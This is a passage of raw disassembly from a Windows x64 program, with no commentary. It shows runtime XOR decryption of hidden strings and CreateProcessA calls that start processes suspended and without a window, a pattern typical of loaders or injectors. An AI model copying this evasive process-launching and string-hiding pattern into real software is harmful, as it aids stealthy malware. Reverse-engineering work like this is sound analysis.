ja 0x140005ef3
call fcn.14007de64
test bl, bl
je 0x140005da6
movdqa xmm0, xmmword [0x14009e870]
movdqa xmm1, xmmword [0x14009ea50]
movdqa xmm2, xmmword [0x14009e9f0]
mov word [rbp + 0x268], 0xcfda
mov ecx, 0x1a8
mov eax, dword [rcx + rdi]
mov edx, 0x260
test al, 1
jne 0x140005bed
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x32], 1
lea rax, [rbx + 0x31]
lea rcx, [rbp + 0x269]
cmp rbx, rcx
ja 0x140005bc8
lea rcx, [rbp + 0x238]
cmp rax, rcx
jb 0x140005bc8
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x268]
mov word [rbx + 0x30], ax
jmp 0x140005bde
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x268]
mov word [rbx + 0x30], ax
lea rcx, [0x14008fa70]
call fcn.14007df40
nop
jmp 0x140005bf1
lea rbx, [rdi + rdx]
mov rcx, rbx
call fcn.140007b90
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005c10
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.1400097b0
nop
lea r8, [rbp + 0x110]
cmp qword [rsp + 0x50], 0x10
cmovae r8, r12
mov r9, r15
xor edx, edx
lea rcx, [rbp - 0x38]
call fcn.14000a9c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x178], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rdx, qword [rbp + 0x168]
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], ecx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x140005d17
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009e4b0]
movdqu xmmword [rbp + 0x178], xmm0
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140005d6c
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
test ebx, ebx
je 0x140005d8a
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rbp + 0x128]
mov qword [rsp + 0x50], rdi
mov r15, qword [rbp + 0x120]
mov r12, qword [rbp + 0x110]
jmp 0x140005dab
mov rdi, qword [rsp + 0x50]
movdqa xmm0, xmmword [0x14009ed40]
mov word [rbp + 0x1c8], 0xe78e
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x3fc
mov eax, dword [rdx + rcx]
mov ebx, 0x400
add rbx, rcx
test al, 1
jne 0x140005e2d
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp + 0x1c9]
cmp rbx, rcx
ja 0x140005e12
lea rcx, [rbp + 0x1b8]
cmp rax, rcx
jb 0x140005e12
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1c8]
mov word [rbx + 0x10], ax
jmp 0x140005e20
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1c8]
mov word [rbx + 0x10], ax
lea rcx, [0x14008fa50]
call fcn.14007df40
nop
cmp byte [rbx + 0x12], 0
je 0x140005e7e
xor byte [rbx], 0xeb
xor byte [rbx + 1], 0xe7
xor byte [rbx + 2], 0x11
xor byte [rbx + 3], 0x47
xor byte [rbx + 4], 0xc7
xor byte [rbx + 5], 0x3d
xor byte [rbx + 6], 0x39
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0xeb
xor byte [rbx + 9], 0xe7
xor byte [rbx + 0xa], 0x11
xor byte [rbx + 0xb], 0x47
xor byte [rbx + 0xc], 0xc7
xor byte [rbx + 0xd], 0x3d
xor byte [rbx + 0xe], 0x39
xor byte [rbx + 0xf], 7
xor byte [rbx + 0x10], 0xeb
xor byte [rbx + 0x11], 0xe7
mov byte [rbx + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x140005e90
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.1400097b0
nop
lea rdx, [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
call fcn.140006eb0
cmp byte [rax], 4
jne 0x140006beb
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140005eff
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005efa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005efa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
test bl, bl
je 0x140006095
call fcn.140006dd0
mov rcx, rax
call fcn.140007a70
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140005f26
mov rdx, rcx
lea rcx, [rbp + 8]
call fcn.1400097b0
nop
lea r8, [rbp + 0x110]
cmp rdi, 0x10
cmovae r8, r12
mov r9, r15
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14000a9c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140006013
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000600e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000600e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009e4b0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], dil
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140006062
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000605d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000605d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
test ebx, ebx
je 0x140006080
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rbp + 0x128]
mov qword [rsp + 0x50], r15
mov r12, qword [rbp + 0x110]
jmp 0x14000609c
mov r15, qword [rsp + 0x50]
xor edi, edi
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x310]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400065dc
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r15, qword [rsp + 0x68]
mov rdx, r15
cmp qword [r15 + 0x18], 0x10
jb 0x140006114
mov rdx, qword [r15]
mov ecx, dword [rbp + 0xa8]
call fcn.14001f5a0
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x14009fb40]
mov dword [rbp + 0x160], 0x1951494f
mov word [rbp + 0x164], 0x6d11
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2dc
mov eax, dword [rcx + rdi]
mov ebx, 0x188
add rbx, rdi
test al, 1
jne 0x1400061cc
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x17], 1
lea rax, [rbx + 0x16]
lea rcx, [rbp + 0x166]
cmp rbx, rcx
ja 0x1400061a4
lea rcx, [rbp + 0x150]
cmp rax, rcx
jb 0x1400061a4
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x160]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x164]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x8f
jmp 0x1400061bf
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x160]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x164]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x8f
lea rcx, [0x14008f9f0]
call fcn.14007df40
nop
cmp byte [rbx + 0x17], 0
je 0x140006231
xor byte [rbx], 0x23
xor byte [rbx + 1], 0x3d
xor byte [rbx + 2], 0x7f
xor byte [rbx + 3], 0x7d
xor byte [rbx + 4], 0x7d
xor byte [rbx + 5], 1
xor byte [rbx + 6], 0x8f
xor byte [rbx + 7], 0x8d
xor byte [rbx + 8], 0x23
xor byte [rbx + 9], 0x3d
xor byte [rbx + 0xa], 0x7f
xor byte [rbx + 0xb], 0x7d
xor byte [rbx + 0xc], 0x7d
xor byte [rbx + 0xd], 1
xor byte [rbx + 0xe], 0x8f
xor byte [rbx + 0xf], 0x8d
xor byte [rbx + 0x10], 0x23
xor byte [rbx + 0x11], 0x3d
xor byte [rbx + 0x12], 0x7f
xor byte [rbx + 0x13], 0x7d
xor byte [rbx + 0x14], 0x7d
xor byte [rbx + 0x15], 1
xor byte [rbx + 0x16], 0x8f
mov byte [rbx + 0x17], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x1400bf578]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008eb0
mov rsi, rax
movdqa xmm0, xmmword [0x14009e820]
mov dword [rbp + 0x100], 0xec856256
mov dword [rbp + 0x104], 0x6da55adb
mov dword [rbp + 0x108], 0xf7827b52
mov word [rbp + 0x10c], 0x4dda
mov ecx, 0x3f8
mov eax, dword [rcx + rdi]
mov edx, 0x318
test al, 1
jne 0x14000634b
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1f], 1
lea rax, [rbx + 0x1e]
lea rcx, [rbp + 0x10e]
cmp rbx, rcx
ja 0x140006314
lea rcx, [rbp + 0xf0]
cmp rax, rcx
jb 0x140006314
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x100]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x108]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x10c]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0xc1
jmp 0x14000633c
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x100]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x108]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x10c]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0xc1
lea rcx, [0x14008f9c0]
call fcn.14007df40
nop
jmp 0x14000634f
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1f], 0
je 0x1400063d4
xor byte [rbx], 0x37
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xeb
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x3f
xor byte [rbx + 6], 0xc1
xor byte [rbx + 7], 0x4d
xor byte [rbx + 8], 0x37
xor byte [rbx + 9], 0x17
xor byte [rbx + 0xa], 0xeb
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0xb3
xor byte [rbx + 0xd], 0x3f
xor byte [rbx + 0xe], 0xc1
xor byte [rbx + 0xf], 0x4d
xor byte [rbx + 0x10], 0x37
xor byte [rbx + 0x11], 0x17
xor byte [rbx + 0x12], 0xeb
xor byte [rbx + 0x13], 0x8f
xor byte [rbx + 0x14], 0xb3
xor byte [rbx + 0x15], 0x3f
xor byte [rbx + 0x16], 0xc1
xor byte [rbx + 0x17], 0x4d
xor byte [rbx + 0x18], 0x37
xor byte [rbx + 0x19], 0x17
xor byte [rbx + 0x1a], 0xeb
xor byte [rbx + 0x1b], 0x8f
xor byte [rbx + 0x1c], 0xb3
xor byte [rbx + 0x1d], 0x3f
xor byte [rbx + 0x1e], 0xc1
mov byte [rbx + 0x1f], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
mov rdx, qword [0x1400bf588]
mov rcx, rax
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140006443
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000643e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000643e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
xor esi, esi
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], sil
mov rdi, qword [rsp + 0x50]
cmp rdi, 0x10
jb 0x14000649f
lea rdx, [rdi + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140006496
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006496
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14007de64
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1400064d9
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1400064d4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400065c0
mov rcx, r8
call fcn.14007de64
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140006523
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x14000651e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400065c7
mov rcx, r8
call fcn.14007de64
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14000656a
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140006565
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400065ce
mov rcx, r8
call fcn.14007de64
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rbx, qword [rbp - 0x48]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400065b5
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400065b0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400065d5
mov rcx, r8
call fcn.14007de64
mov qword [rbx + 0x10], rsi
xor eax, eax
jmp 0x140006ba1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x168]
call fcn.140020770
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor eax, eax
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.1400083d0
mov byte [rsp + 0x50], 3
call fcn.14000a080
mov qword [rsp + 0x58], rax
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x1fc
mov eax, dword [rcx + rdi]
mov ebx, 0x2e0
add rbx, rdi
test al, 1
jne 0x14000666a
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + 9], 0x13b
mov dword [rbx], 0x7ac85a58
mov dword [rbx + 4], 0xef169ff8
mov byte [rbx + 8], 0x57
lea rcx, [0x14008f9a0]
call fcn.14007df40
nop
cmp byte [rbx + 0xa], 0
je 0x14000669b
xor byte [rbx], 0x3f
xor byte [rbx + 1], 0x3b
xor byte [rbx + 2], 0xa5
xor byte [rbx + 3], 0x1f
xor byte [rbx + 4], 0xa7
xor byte [rbx + 5], 0xef
xor byte [rbx + 6], 0x77
xor byte [rbx + 7], 0x9b
xor byte [rbx + 8], 0x3f
xor byte [rbx + 9], 0x3b
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
inc rsi
cmp byte [rbx + rsi], 0
jne 0x1400066b2
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.1400097b0
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x168]
call fcn.140006f80
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x50]
mov byte [rax], cl
mov byte [rsp + 0x50], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x58]
mov qword [rax + 8], rdx
mov qword [rsp + 0x58], rcx
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.1400083d0
nop
lea rcx, [rbp + 0x168]
call fcn.14001fce0
mov rdx, qword [0x1400bf570]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008eb0
mov rsi, rax
movdqa xmm0, xmmword [0x14009fba0]
mov dword [rbp + 0x140], 0x58f7348e
mov dword [rbp + 0x144], 0x9ba3d195
mov word [rbp + 0x148], 0x51e9
mov ecx, 0x4fc
mov eax, dword [rcx + rdi]
mov edx, 0x500
test al, 1
jne 0x1400067d4
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1a], 1
lea rax, [rbx + 0x19]
lea rcx, [rbp + 0x149]
cmp rbx, rcx
ja 0x1400067aa
lea rcx, [rbp + 0x130]
cmp rax, rcx
jb 0x1400067aa
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x140]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x148]
mov word [rbx + 0x18], ax
jmp 0x1400067c5
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x140]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x148]
mov word [rbx + 0x18], ax
lea rcx, [0x14008f970]
call fcn.14007df40
nop
jmp 0x1400067d8
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1a], 0
je 0x140006849
xor byte [rbx], 0xe3
xor byte [rbx + 1], 0x51
xor byte [rbx + 2], 0x87
xor byte [rbx + 3], 0x39
xor byte [rbx + 4], 0xe1
xor byte [rbx + 5], 0xb9
xor byte [rbx + 6], 0x8d
xor byte [rbx + 7], 0x91
xor byte [rbx + 8], 0xe3
xor byte [rbx + 9], 0x51
xor byte [rbx + 0xa], 0x87
xor byte [rbx + 0xb], 0x39
xor byte [rbx + 0xc], 0xe1
xor byte [rbx + 0xd], 0xb9
xor byte [rbx + 0xe], 0x8d
xor byte [rbx + 0xf], 0x91
xor byte [rbx + 0x10], 0xe3
xor byte [rbx + 0x11], 0x51
xor byte [rbx + 0x12], 0x87
xor byte [rbx + 0x13], 0x39
xor byte [rbx + 0x14], 0xe1
xor byte [rbx + 0x15], 0xb9
xor byte [rbx + 0x16], 0x8d
xor byte [rbx + 0x17], 0x91
xor byte [rbx + 0x18], 0xe3
xor byte [rbx + 0x19], 0x51
mov byte [rbx + 0x1a], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
mov rdx, qword [0x1400bf588]
mov rcx, rax
call fcn.140008eb0
mov rsi, rax
movdqa xmm0, xmmword [0x14009fa70]
movdqa xmm1, xmmword [0x14009f9f0]
mov dword [rbp + 0x208], 0x1db348f
mov dword [rbp + 0x20c], 0x91bc8ccf
mov ecx, 0x1b8
mov eax, dword [rcx + rdi]
mov edx, 0x418
test al, 1
jne 0x1400068fe
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x28], 1
lea rax, [rbx + 0x27]
lea rcx, [rbp + 0x20f]
cmp rbx, rcx
ja 0x1400068db
lea rcx, [rbp + 0x1e8]
cmp rax, rcx
jb 0x1400068db
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x208]
movsd qword [rbx + 0x20], xmm0
jmp 0x1400068ef
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x208]
movsd qword [rbx + 0x20], xmm0
lea rcx, [0x14008f940]
call fcn.14007df40
nop
jmp 0x140006902
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x28], 0
je 0x1400069af
xor byte [rbx], 0xe3
xor byte [rbx + 1], 0x51
xor byte [rbx + 2], 0x87
xor byte [rbx + 3], 0x39
xor byte [rbx + 4], 0xe1
xor byte [rbx + 5], 0xb9
xor byte [rbx + 6], 0x8d
xor byte [rbx + 7], 0x91
xor byte [rbx + 8], 0xe3
xor byte [rbx + 9], 0x51
xor byte [rbx + 0xa], 0x87
xor byte [rbx + 0xb], 0x39
xor byte [rbx + 0xc], 0xe1
xor byte [rbx + 0xd], 0xb9
xor byte [rbx + 0xe], 0x8d
xor byte [rbx + 0xf], 0x91
xor byte [rbx + 0x10], 0xe3
xor byte [rbx + 0x11], 0x51
xor byte [rbx + 0x12], 0x87
xor byte [rbx + 0x13], 0x39
xor byte [rbx + 0x14], 0xe1
xor byte [rbx + 0x15], 0xb9
xor byte [rbx + 0x16], 0x8d
xor byte [rbx + 0x17], 0x91
xor byte [rbx + 0x18], 0xe3
xor byte [rbx + 0x19], 0x51
xor byte [rbx + 0x1a], 0x87
xor byte [rbx + 0x1b], 0x39
xor byte [rbx + 0x1c], 0xe1
xor byte [rbx + 0x1d], 0xb9
xor byte [rbx + 0x1e], 0x8d
xor byte [rbx + 0x1f], 0x91
xor byte [rbx + 0x20], 0xe3
xor byte [rbx + 0x21], 0x51
xor byte [rbx + 0x22], 0x87
xor byte [rbx + 0x23], 0x39
xor byte [rbx + 0x24], 0xe1
xor byte [rbx + 0x25], 0xb9
xor byte [rbx + 0x26], 0x8d
xor byte [rbx + 0x27], 0x91
mov byte [rbx + 0x28], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
movzx edx, byte [rbp + 0x168]
lea rcx, [rbp + 0x170]
call fcn.1400083d0
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140006a23
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
xor edi, edi
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], dil
cmp r15, 0x10
jb 0x140006a7a
lea rdx, [r15 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140006a71
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14007de64
nop
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006ab9
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006ab4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006bcf
mov rcx, r8
call fcn.14007de64
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140006b02
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140006afd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006bd6
mov rcx, r8
call fcn.14007de64
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x140006b4d
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140006b48
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
